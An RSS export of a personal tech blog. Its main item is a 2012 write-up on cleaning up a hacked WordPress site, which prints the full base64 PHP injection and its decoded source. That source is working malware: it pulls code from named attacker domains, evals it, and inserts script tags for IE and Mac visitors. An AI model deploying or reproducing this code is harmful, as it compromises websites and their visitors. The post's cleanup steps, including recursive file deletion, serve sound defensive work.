<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><atom:link rel="hub" href="http://tumblr.superfeedr.com/" xmlns:atom="http://www.w3.org/2005/Atom"/><description>Product Lead at Airbnb. Former co-founder and CTO at Crashpadder.com. On @serenestudios. 

  var _gaq = _gaq || [];
  _gaq.push([‘_setAccount’, ‘UA-22857217-1’]);
  _gaq.push([‘_trackPageview’]);

  (function() {
    var ga = document.createElement(‘script’); ga.type = ‘text/javascript’; ga.async = true;
    ga.src = (‘https:’ == document.location.protocol ? ‘https://ssl’ : ‘http://www’) + ‘.google-analytics.com/ga.js’;
    var s = document.getElementsByTagName(‘script’)[0]; s.parentNode.insertBefore(ga, s);
  })();</description><title>Dan Hill</title><generator>Tumblr (3.0; @danhilltech)</generator><link>http://danhilltech.tumblr.com/</link><item><title>Photo</title><description>&lt;img src="http://25.media.tumblr.com/tumblr_mdckq5ETgg1rxpytqo1_500.jpg"/&gt;&lt;br/&gt;&lt;br/&gt;</description><link>http://danhilltech.tumblr.com/post/49117249459</link><guid>http://danhilltech.tumblr.com/post/49117249459</guid><pubDate>Sun, 28 Apr 2013 21:00:21 +0100</pubDate></item><item><title>When I'm told AWS is down, I'm like</title><description>&lt;p&gt;&lt;a class="tumblr_blog" href="http://runningastartup.tumblr.com/post/21914201100/when-im-told-aws-is-down-im-like"&gt;runningastartup&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;img height="225" src="http://i.imgur.com/uWLek.gif" width="300"/&gt;&lt;/p&gt;
&lt;/blockquote&gt;</description><link>http://danhilltech.tumblr.com/post/22841418363</link><guid>http://danhilltech.tumblr.com/post/22841418363</guid><pubDate>Fri, 11 May 2012 15:35:15 +0100</pubDate></item><item><title>If you get eval(base64 hacked on wordpress/dreamhost</title><description>&lt;p&gt;I have a shared host on Dreamhost that just got hacked to shit. A fairly standard hack, and nothing particularly inspired, but nevertheless some clients from years ago weren&amp;#8217;t too happy. If this happens to anyone else, here&amp;#8217;s the fix (for now):&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;UPDATE: &lt;/strong&gt;This is not Wordpress/Dreamhost specific. I&amp;#8217;ve seen reports of other installs/hosts affected. There&amp;#8217;s no reason the below won&amp;#8217;t work elsewhere, but as always, don&amp;#8217;t just copy and paste my (/any) code into your terminal&amp;#8230; :)&lt;/p&gt;
&lt;h2&gt;Triage&lt;/h2&gt;
&lt;p&gt;First, you want to determine the type of attack. Do they have your SSH/FTP password, or is it just a vulnerability in a PHP script or something. The former is very worrying, the latter is just a case of plugging the hole and repairing the damage.&lt;/p&gt;
&lt;p&gt;Log into your sever and run the following:&lt;/p&gt;
&lt;pre class="prettyprint"&gt;&lt;code&gt;last -i | grep youruser&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Verify that those logins are you, and from your IP address. A quick reverse geocode will show any you&amp;#8217;re unsure of. If they all check out great, if not you&amp;#8217;re in deeper trouble.&lt;/p&gt;
&lt;p&gt;The hack I found essentially created a new php file in the uploads folder of Wordpress that allowed remote filesystem control, and then modified the pages being served (every .php file) to include a script tag redirecting visitors to some dodgy sites.&lt;/p&gt;
&lt;p&gt;For example, this is the end of a normal page request:&lt;/p&gt;
&lt;pre class="prettyprint"&gt;&lt;code&gt;&amp;lt;!-- 24 queries. 0.542 seconds. --&amp;gt;
&amp;lt;script type='text/javascript' src='http://www.mysite.com/wp-content/plugins/contact-form-7/jquery.form.js?ver=2.52'&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;script type='text/javascript' src='http://www.mysite.com/wp-content/plugins/contact-form-7/scripts.js?ver=3.0'&amp;gt;&amp;lt;/script&amp;gt;

&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And this is a hacked version:&lt;/p&gt;
&lt;pre class="prettyprint"&gt;&lt;code&gt; 
&amp;lt;!-- 24 queries. 0.542 seconds. --&amp;gt; 
&amp;lt;script type='text/javascript' src='http://www.mysite.com/wp-content/plugins/contact-form-7/jquery.form.js?ver=2.52'&amp;gt;&amp;lt;/script&amp;gt; 
&amp;lt;script type='text/javascript' src='http://www.mysite.com/wp-content/plugins/contact-form-7/scripts.js?ver=3.0'&amp;gt;&amp;lt;/script&amp;gt; 
&amp;lt;script src="http://irstde24clined.rr.nu/mm.php?d=1"&amp;gt;&amp;lt;/script&amp;gt; 
&amp;lt;/body&amp;gt; 
&amp;lt;/html&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What&amp;#8217;s interesting about this hack, is it only targets certain browser types.&lt;/p&gt;
&lt;p&gt;You can test this by running this from your command line:&lt;/p&gt;
&lt;pre class="prettyprint"&gt;&lt;code&gt;curl --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322)" &lt;a href="http://www.mysite.com"&gt;www.mysite.com&lt;/a&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The hack inserts the following at the top of every PHP file it can get access to:&lt;/p&gt;
&lt;pre class="prettyprint"&gt;&lt;code&gt; &amp;lt;?php /**/ //eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJF9TRVJWRVJbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtcl9ubyddPTE7ICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICBmdW5jdGlvbiBnZXRfdGRzXzc3NygkdXJsKXskY29udGVudD0iIjskY29udGVudD1AdHJ5Y3VybF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZpbGVfNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlmb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZzb2Nrb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeXNvY2tldF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7cmV0dXJuICcnO30gIGZ1bmN0aW9uIHRyeWN1cmxfNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGNoID0gY3VybF9pbml0ICgpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVJMLCR1cmwpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7Y3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOyRyZXN1bHQgPSBjdXJsX2V4ZWMgKCRjaCk7Y3VybF9jbG9zZSgkY2gpO2lmICgkcmVzdWx0PT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRyZXN1bHQ7fSAgZnVuY3Rpb24gdHJ5ZmlsZV83NzcoJHVybCl7aWYoZnVuY3Rpb25fZXhpc3RzKCdmaWxlJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGluYz1AZmlsZSgkdXJsKTskYnVmPUBpbXBsb2RlKCcnLCRpbmMpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5Zm9wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKT09PWZhbHNlKXJldHVybiBmYWxzZTskYnVmPScnOyRmPUBmb3BlbigkdXJsLCdyJyk7aWYgKCRmKXt3aGlsZSghZmVvZigkZikpeyRidWYuPWZyZWFkKCRmLDEwMDAwKTt9ZmNsb3NlKCRmKTt9ZWxzZSByZXR1cm4gZmFsc2U7aWYgKCRidWY9PSIiKXJldHVybiBmYWxzZTtyZXR1cm4gJGJ1Zjt9ICBmdW5jdGlvbiB0cnlmc29ja29wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZnNvY2tvcGVuJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JHA9QHBhcnNlX3VybCgkdXJsKTskaG9zdD0kcFsnaG9zdCddOyR1cmk9JHBbJ3BhdGgnXS4nPycuJHBbJ3F1ZXJ5J107JGY9QGZzb2Nrb3BlbigkaG9zdCw4MCwkZXJybm8sICRlcnJzdHIsMzApO2lmKCEkZilyZXR1cm4gZmFsc2U7JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7ZndyaXRlKCRmLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCFmZW9mKCRmKSl7JGJ1Zi49ZnJlYWQoJGYsMTAwMDApO31mY2xvc2UoJGYpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5c29ja2V0Xzc3NygkdXJsKXtpZihmdW5jdGlvbl9leGlzdHMoJ3NvY2tldF9jcmVhdGUnKT09PWZhbHNlKXJldHVybiBmYWxzZTskcD1AcGFyc2VfdXJsKCR1cmwpOyRob3N0PSRwWydob3N0J107JHVyaT0kcFsncGF0aCddLic/Jy4kcFsncXVlcnknXTskaXAxPUBnZXRob3N0YnluYW1lKCRob3N0KTskaXAyPUBsb25nMmlwKEBpcDJsb25nKCRpcDEpKTsgaWYgKCRpcDEhPSRpcDIpcmV0dXJuIGZhbHNlOyRzb2NrPUBzb2NrZXRfY3JlYXRlKEFGX0lORVQsU09DS19TVFJFQU0sU09MX1RDUCk7aWYgKCFAc29ja2V0X2Nvbm5lY3QoJHNvY2ssJGlwMSw4MCkpe0Bzb2NrZXRfY2xvc2UoJHNvY2spO3JldHVybiBmYWxzZTt9JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7c29ja2V0X3dyaXRlKCRzb2NrLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCR0PXNvY2tldF9yZWFkKCRzb2NrLDEwMDAwKSl7JGJ1Zi49JHQ7fUBzb2NrZXRfY2xvc2UoJHNvY2spO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdXBkYXRlX3Rkc19maWxlXzc3NygkdGRzZmlsZSl7JGFjdHVhbDE9JF9TRVJWRVJbJ3NfYTEnXTskYWN0dWFsMj0kX1NFUlZFUlsnc19hMiddOyR2YWw9Z2V0X3Rkc183NzcoJGFjdHVhbDEpO2lmICgkdmFsPT0iIikkdmFsPWdldF90ZHNfNzc3KCRhY3R1YWwyKTskZj1AZm9wZW4oJHRkc2ZpbGUsInciKTtpZiAoJGYpe0Bmd3JpdGUoJGYsJHZhbCk7QGZjbG9zZSgkZik7fWlmIChzdHJzdHIoJHZhbCwifHx8Q09ERXx8fCIpKXtsaXN0KCR2YWwsJGNvZGUpPWV4cGxvZGUoInx8fENPREV8fHwiLCR2YWwpO2V2YWwoYmFzZTY0X2RlY29kZSgkY29kZSkpO31yZXR1cm4gJHZhbDt9ICBmdW5jdGlvbiBnZXRfYWN0dWFsX3Rkc183NzcoKXskZGVmYXVsdGRvbWFpbj0kX1NFUlZFUlsnc19kMSddOyRkaXI9JF9TRVJWRVJbJ3NfcDEnXTskdGRzZmlsZT0kZGlyLiJsb2cxLnR4dCI7aWYgKEBmaWxlX2V4aXN0cygkdGRzZmlsZSkpeyRtdGltZT1AZmlsZW10aW1lKCR0ZHNmaWxlKTskY3RpbWU9dGltZSgpLSRtdGltZTtpZiAoJGN0aW1lPiRfU0VSVkVSWydzX3QxJ10peyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO31lbHNleyRjb250ZW50PUBmaWxlX2dldF9jb250ZW50cygkdGRzZmlsZSk7fX1lbHNleyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO30kdGRzPUBleHBsb2RlKCJcbiIsJGNvbnRlbnQpOyRjPUBjb3VudCgkdGRzKSswOyR1cmw9JGRlZmF1bHRkb21haW47aWYgKCRjPjEpeyR1cmw9dHJpbSgkdGRzW210X3JhbmQoMCwkYy0yKV0pO31yZXR1cm4gJHVybDt9ICBmdW5jdGlvbiBpc19tYWNfNzc3KCR1YSl7JG1hYz0wO2lmIChzdHJpc3RyKCR1YSwibWFjIil8fHN0cmlzdHIoJHVhLCJzYWZhcmkiKSlpZiAoKCFzdHJpc3RyKCR1YSwid2luZG93cyIpKSYmKCFzdHJpc3RyKCR1YSwiaXBob25lIikpKSRtYWM9MTtyZXR1cm4gJG1hYzt9ICBmdW5jdGlvbiBpc19tc2llXzc3NygkdWEpeyRtc2llPTA7aWYgKHN0cmlzdHIoJHVhLCJNU0lFIDYiKXx8c3RyaXN0cigkdWEsIk1TSUUgNyIpfHxzdHJpc3RyKCR1YSwiTVNJRSA4Iil8fHN0cmlzdHIoJHVhLCJNU0lFIDkiKSkkbXNpZT0xO3JldHVybiAkbXNpZTt9ICAgIGZ1bmN0aW9uIHNldHVwX2dsb2JhbHNfNzc3KCl7JHJ6PSRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uIi8ubG9ncy8iOyRtej0iL3RtcC8iO2lmICghaXNfZGlyKCRyeikpe0Bta2RpcigkcnopO2lmIChpc19kaXIoJHJ6KSl7JG16PSRyejt9ZWxzZXskcno9JF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdLiIvLmxvZ3MvIjtpZiAoIWlzX2RpcigkcnopKXtAbWtkaXIoJHJ6KTtpZiAoaXNfZGlyKCRyeikpeyRtej0kcno7fX1lbHNleyRtej0kcno7fX19ZWxzZXskbXo9JHJ6O30kYm90PTA7JHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTtpZiAoc3RyaXN0cigkdWEsIm1zbmJvdCIpfHxzdHJpc3RyKCR1YSwiWWFob28iKSkkYm90PTE7aWYgKHN0cmlzdHIoJHVhLCJiaW5nYm90Iil8fHN0cmlzdHIoJHVhLCJnb29nbGUiKSkkYm90PTE7JG1zaWU9MDtpZiAoaXNfbXNpZV83NzcoJHVhKSkkbXNpZT0xOyRtYWM9MDtpZiAoaXNfbWFjXzc3NygkdWEpKSRtYWM9MTtpZiAoKCRtc2llPT0wKSYmKCRtYWM9PTApKSRib3Q9MTsgIGdsb2JhbCAkX1NFUlZFUjsgICAgJF9TRVJWRVJbJ3NfcDEnXT0kbXo7ICAkX1NFUlZFUlsnc19iMSddPSRib3Q7ICAkX1NFUlZFUlsnc190MSddPTEyMDA7ICAkX1NFUlZFUlsnc19kMSddPSJodHRwOi8vc3dlZXBzdGFrZXNhbmRjb250ZXN0c2RvLmNvbS8iOyAgJGQ9Jz9kPScudXJsZW5jb2RlKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIiZwPSIudXJsZW5jb2RlKCRfU0VSVkVSWyJQSFBfU0VMRiJdKS4iJmE9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKTsgICRfU0VSVkVSWydzX2ExJ109J2h0dHA6Ly93d3cubGlseXBvcGhpbHlwb3AuY29tL2dfbG9hZC5waHAnLiRkOyAgJF9TRVJWRVJbJ3NfYTInXT0naHR0cDovL3d3dy5sb2x5cG9waG9seXBvcC5jb20vZ19sb2FkLnBocCcuJGQ7ICAkX1NFUlZFUlsnc19zY3JpcHQnXT0ibW0ucGhwP2Q9MSI7ICB9ICAgICAgc2V0dXBfZ2xvYmFsc183NzcoKTsgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ21sXzc3NycpKXsgIGZ1bmN0aW9uIGdtbF83NzcoKXsgICAgJHJfc3RyaW5nXzc3Nz0nJzsgIGlmICgkX1NFUlZFUlsnc19iMSddPT0wKSRyX3N0cmluZ183Nzc9JzxzY3JpcHQgc3JjPSInLmdldF9hY3R1YWxfdGRzXzc3NygpLiRfU0VSVkVSWydzX3NjcmlwdCddLiciPjwvc2NyaXB0Pic7ICByZXR1cm4gJHJfc3RyaW5nXzc3NzsgIH0gIH0gICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZWl0JykpeyAgZnVuY3Rpb24gZ3pkZWNvZGVpdCgkZGVjb2RlKXsgICR0PUBvcmQoQHN1YnN0cigkZGVjb2RlLDMsMSkpOyAgJHN0YXJ0PTEwOyAgJHY9MDsgIGlmKCR0JjQpeyAgJHN0cj1AdW5wYWNrKCd2JyxzdWJzdHIoJGRlY29kZSwxMCwyKSk7ICAkc3RyPSRzdHJbMV07ICAkc3RhcnQrPTIrJHN0cjsgIH0gIGlmKCR0JjgpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMTYpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMil7ICAkc3RhcnQrPTI7ICB9ICAkcmV0PUBnemluZmxhdGUoQHN1YnN0cigkZGVjb2RlLCRzdGFydCkpOyAgaWYoJHJldD09PUZBTFNFKXsgICRyZXQ9JGRlY29kZTsgIH0gIHJldHVybiAkcmV0OyAgfSAgfSAgZnVuY3Rpb24gbXJvYmgoJGNvbnRlbnQpeyAgQEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgJGRlY29kZWRfY29udGVudD1nemRlY29kZWl0KCRjb250ZW50KTsgIGlmKHByZWdfbWF0Y2goJy9cPFwvYm9keS9zaScsJGRlY29kZWRfY29udGVudCkpeyAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sXzc3NygpLiJcbiIuJyQxJywkZGVjb2RlZF9jb250ZW50KTsgIH1lbHNleyAgcmV0dXJuICRkZWNvZGVkX2NvbnRlbnQuZ21sXzc3NygpOyAgfSAgfSAgb2Jfc3RhcnQoJ21yb2JoJyk7ICB9ICB9"));?&amp;gt; &lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you decode this base64 (easy enough online), you get the following script being run:&lt;/p&gt;
&lt;pre class="prettyprint"&gt;&lt;code&gt;if(function_exists('ob_start')&amp;amp;&amp;amp;!isset($_SERVER['mr_no'])){  $_SERVER['mr_no']=1;
    if(!function_exists('mrobh')){    function get_tds_777($url){$content="";
$content=@trycurl_777($url);
if($content!==false)return $content;
$content=@tryfile_777($url);
if($content!==false)return $content;
$content=@tryfopen_777($url);
if($content!==false)return $content;
$content=@tryfsockopen_777($url);
if($content!==false)return $content;
$content=@trysocket_777($url);
if($content!==false)return $content;
return '';
}  function trycurl_777($url){if(function_exists('curl_init')===false)return false;
$ch = curl_init ();
curl_setopt ($ch, CURLOPT_URL,$url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_TIMEOUT, 5);
curl_setopt ($ch, CURLOPT_HEADER, 0);
$result = curl_exec ($ch);
curl_close($ch);
if ($result=="")return false;
return $result;
}  function tryfile_777($url){if(function_exists('file')===false)return false;
$inc=@file($url);
$buf=@implode('',$inc);
if ($buf=="")return false;
return $buf;
}  function tryfopen_777($url){if(function_exists('fopen')===false)return false;
$buf='';
$f=@fopen($url,'r');
if ($f){while(!feof($f)){$buf.=fread($f,10000);
}fclose($f);
}else return false;
if ($buf=="")return false;
return $buf;
}  function tryfsockopen_777($url){if(function_exists('fsockopen')===false)return false;
$p=@parse_url($url);
$host=$p['host'];
$uri=$p['path'].'?'.$p['query'];
$f=@fsockopen($host,80,$errno, $errstr,30);
if(!$f)return false;
$request ="GET $uri HTTP/1.0\n";
$request.="Host: $host\n\n";
fwrite($f,$request);
$buf='';
while(!feof($f)){$buf.=fread($f,10000);
}fclose($f);
if ($buf=="")return false;
list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);
return $buf;
}  function trysocket_777($url){if(function_exists('socket_create')===false)return false;
$p=@parse_url($url);
$host=$p['host'];
$uri=$p['path'].'?'.$p['query'];
$ip1=@gethostbyname($host);
$ip2=@long2ip(@ip2long($ip1));
 if ($ip1!=$ip2)return false;
$sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
if (!@socket_connect($sock,$ip1,80)){@socket_close($sock);
return false;
}$request ="GET $uri HTTP/1.0\n";
$request.="Host: $host\n\n";
socket_write($sock,$request);
$buf='';
while($t=socket_read($sock,10000)){$buf.=$t;
}@socket_close($sock);
if ($buf=="")return false;
list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);
return $buf;
}  function update_tds_file_777($tdsfile){$actual1=$_SERVER['s_a1'];
$actual2=$_SERVER['s_a2'];
$val=get_tds_777($actual1);
if ($val=="")$val=get_tds_777($actual2);
$f=@fopen($tdsfile,"w");
if ($f){@fwrite($f,$val);
@fclose($f);
}if (strstr($val,"|||CODE|||")){list($val,$code)=explode("|||CODE|||",$val);
eval(base64_decode($code));
}return $val;
}  function get_actual_tds_777(){$defaultdomain=$_SERVER['s_d1'];
$dir=$_SERVER['s_p1'];
$tdsfile=$dir."log1.txt";
if (@file_exists($tdsfile)){$mtime=@filemtime($tdsfile);
$ctime=time()-$mtime;
if ($ctime&amp;gt;$_SERVER['s_t1']){$content=update_tds_file_777($tdsfile);
}else{$content=@file_get_contents($tdsfile);
}}else{$content=update_tds_file_777($tdsfile);
}$tds=@explode("\n",$content);
$c=@count($tds)+0;
$url=$defaultdomain;
if ($c&amp;gt;1){$url=trim($tds[mt_rand(0,$c-2)]);
}return $url;
}  function is_mac_777($ua){$mac=0;
if (stristr($ua,"mac")||stristr($ua,"safari"))if ((!stristr($ua,"windows"))&amp;amp;&amp;amp;(!stristr($ua,"iphone")))$mac=1;
return $mac;
}  function is_msie_777($ua){$msie=0;
if (stristr($ua,"MSIE 6")||stristr($ua,"MSIE 7")||stristr($ua,"MSIE 8")||stristr($ua,"MSIE 9"))$msie=1;
return $msie;
}    function setup_globals_777(){$rz=$_SERVER["DOCUMENT_ROOT"]."/.logs/";
$mz="/tmp/";
if (!is_dir($rz)){@mkdir($rz);
if (is_dir($rz)){$mz=$rz;
}else{$rz=$_SERVER["SCRIPT_FILENAME"]."/.logs/";
if (!is_dir($rz)){@mkdir($rz);
if (is_dir($rz)){$mz=$rz;
}}else{$mz=$rz;
}}}else{$mz=$rz;
}$bot=0;
$ua=$_SERVER['HTTP_USER_AGENT'];
if (stristr($ua,"msnbot")||stristr($ua,"Yahoo"))$bot=1;
if (stristr($ua,"bingbot")||stristr($ua,"google"))$bot=1;
$msie=0;
if (is_msie_777($ua))$msie=1;
$mac=0;
if (is_mac_777($ua))$mac=1;
if (($msie==0)&amp;amp;&amp;amp;($mac==0))$bot=1;
  global $_SERVER;
    $_SERVER['s_p1']=$mz;
  $_SERVER['s_b1']=$bot;
  $_SERVER['s_t1']=1200;
  $_SERVER['s_d1']="http://sweepstakesandcontestsdo.com/";
  $d='?d='.urlencode($_SERVER["HTTP_HOST"])."&amp;amp;p=".urlencode($_SERVER["PHP_SELF"])."&amp;amp;a=".urlencode($_SERVER["HTTP_USER_AGENT"]);
  $_SERVER['s_a1']='http://www.lilypophilypop.com/g_load.php'.$d;
  $_SERVER['s_a2']='http://www.lolypopholypop.com/g_load.php'.$d;
  $_SERVER['s_script']="mm.php?d=1";
  }      setup_globals_777();
    if(!function_exists('gml_777')){  function gml_777(){    $r_string_777='';
  if ($_SERVER['s_b1']==0)$r_string_777='&lt;script src="'.get_actual_tds_777().%24_SERVER%5B's_script'%5D.'"&gt;&lt;!--mce:0--&gt;&lt;/script&gt;’;
  return $r_string_777;
  }  }      if(!function_exists(‘gzdecodeit’)){  function gzdecodeit($decode){  $t=@ord(@substr($decode,3,1));
  $start=10;
  $v=0;
  if($t&amp;amp;4){  $str=@unpack(‘v’,substr($decode,10,2));
  $str=$str[1];
  $start+=2+$str;
  }  if($t&amp;amp;8){  $start=@strpos($decode,chr(0),$start)+1;
  }  if($t&amp;amp;16){  $start=@strpos($decode,chr(0),$start)+1;
  }  if($t&amp;amp;2){  $start+=2;
  }  $ret=@gzinflate(@substr($decode,$start));
  if($ret===FALSE){  $ret=$decode;
  }  return $ret;
  }  }  function mrobh($content){  @Header(‘Content-Encoding: none’);
  $decoded_content=gzdecodeit($content);
  if(preg_match(‘/&amp;lt;\/body/si’,$decoded_content)){  return preg_replace(‘/(&amp;lt;\/body[^&amp;gt;]*&amp;gt;)/si’,gml_777().”\n”.’$1’,$decoded_content);
  }else{  return $decoded_content.gml_777();
  }  }  ob_start(‘mrobh’);
  }  }

;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What&amp;#8217;s neat here, is it checks for non-bots (google, yahoo, etc.), non-mac users running IE7. Probably therefore almost no sys-admins!&lt;/p&gt;
&lt;h2&gt;Getting rid of it&lt;/h2&gt;
&lt;p&gt;I did this in three stages. First, find any world-writable directories (tsk tsk):&lt;/p&gt;
&lt;pre class="prettyprint"&gt;&lt;code&gt;find . -type d -perm -o=w&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And make them not world writable:&lt;/p&gt;
&lt;pre class="prettyprint"&gt;&lt;code&gt;find . -type d -perm -o=w -print -exec chmod 770 {} \;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Delete all the new files these guys created:&lt;/p&gt;
&lt;pre class="prettyprint"&gt;&lt;code&gt;find . -wholename '*wp-content/uploads/*.php' -exec rm -rf {} \;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(In wordpress, the uploads folder shouldn&amp;#8217;t contain any PHP)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: I&amp;#8217;ve seen from the comments that files got created elsewhere, so best to remove them. Depending on how recently you uploaded new files etc., you can use the following to find other dodgy files:&lt;/p&gt;
&lt;pre class="prettyprint"&gt;&lt;code&gt;find . -mmin -2880 -iname "*.php"&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will find all php files modified in the last 48 hours. If they hit everything this will be a long list. The other trick is to look for files containing &amp;#8216;utf8&amp;#8217; in the file name - in wordpress these shouldn&amp;#8217;t exist (I don&amp;#8217;t think), and I&amp;#8217;ve seen a bunch of installs have them created:&lt;/p&gt;
&lt;pre class="prettyprint"&gt;&lt;code&gt;find . -iname "*utf*.php"&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And to remove them all (assuming you&amp;#8217;ve checked its save):&lt;/p&gt;
&lt;pre class="prettyprint"&gt;&lt;code&gt;find . -iname "*utf*.php" -exec rm -rf {} \;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Stage two, repair all your infected PHP files. I played around using sed and xargs for this, but eventually gave up and wrote a quick ruby script to do the job. Run this run this ruby script from your root directory:&lt;/p&gt;
&lt;pre class="prettyprint"&gt;&lt;code&gt; #!/usr/bin/env ruby 
Dir.glob('**/*.php').each do |f| 
	puts f 
	begin 
		contents = File.read(f) 
		contents = contents.gsub(/\&amp;lt;\?php \/\*\*\/ eval\(.*\)\);\?\&amp;gt;/, "") 
		File.open(f, 'w') {|f| f.write(contents) } 
	rescue 
		puts "FILE ERROR" 
	end 
end 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The final step is to upgrade all your old, forgotten about Wordpress installs to prevent any other vulnerabilities showing up. The bonus step for good luck is to reset your passwords, especially any MySQL passwords stored in plain text in your wp-config.php file.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;UPDATE: Really do update your wordpress/joomla/vBulletin/phpbb etc. install. This hack occurs from insecure installs of common opensource tools. Some photo manager plugin you installed 2 years ago and never updated is probably the problem.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Anyone found the same thing or having problems comment below and I&amp;#8217;ll try and help. Or tweet me.&lt;/p&gt;</description><link>http://danhilltech.tumblr.com/post/18085864093</link><guid>http://danhilltech.tumblr.com/post/18085864093</guid><pubDate>Wed, 04 Apr 2012 11:46:28 +0100</pubDate><category>dreamhost</category><category>wordpress</category><category>hack</category><category>eval</category><category>base64</category><category>php</category></item><item><title>Minimal Mac: Microsoft's Biggest Miss</title><description>&lt;a href="http://minimalmac.com/post/17758177061/microsofts-biggest-miss"&gt;Minimal Mac: Microsoft's Biggest Miss&lt;/a&gt;: &lt;p&gt;&lt;a class="tumblr_blog" href="http://minimalmac.com/post/17758177061/microsofts-biggest-miss"&gt;minimalmac&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;One of the benefits of a long car trip with my wife is the opportunity to have really great and insightful conversations with the smartest person I know. Yesterday, on the first leg of our trip, we spent some time discussing Microsoft’s many missed opportunities. &lt;a href="http://parislemon.com/post/17002229521/lets-see-how-the-competition-goes-just-to" target="_blank"&gt;The failure to take the iPhone…&lt;/a&gt;&lt;/p&gt;
